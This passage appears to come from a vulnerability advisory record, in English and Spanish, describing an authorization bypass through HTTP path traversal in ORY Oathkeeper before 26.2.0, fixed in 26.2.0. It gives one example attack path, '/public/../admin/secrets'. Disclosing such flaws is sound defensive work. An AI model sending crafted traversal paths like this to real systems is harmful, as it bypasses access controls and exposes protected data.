Versions prior to 26.2.0 are vulnerable to an authorization bypass via HTTP path traversal. An attacker can craft a URL containing path traversal sequences (e.g. `/public/../admin/secrets`) that resolves to a protected path after normalization, but is matched against a permissive rule because the raw, un-normalized path is used during rule evaluation. Version 26.2.0 contains a patch."}, {"lang": "es", "value": "ORY Oathkeeper es un proxy de identidad y acceso (IAP) y una API de decisión de control de acceso que autoriza solicitudes HTTP basándose en conjuntos de reglas de acceso.

Un atacante puede crear una URL que contenga secuencias de salto de ruta (por ejemplo, '/public/../admin/secrets') que se resuelva en una ruta protegida después de la normalización, pero que se compare con una regla permisiva porque la ruta sin procesar y sin normalizar se utiliza durante la evaluación de la regla.
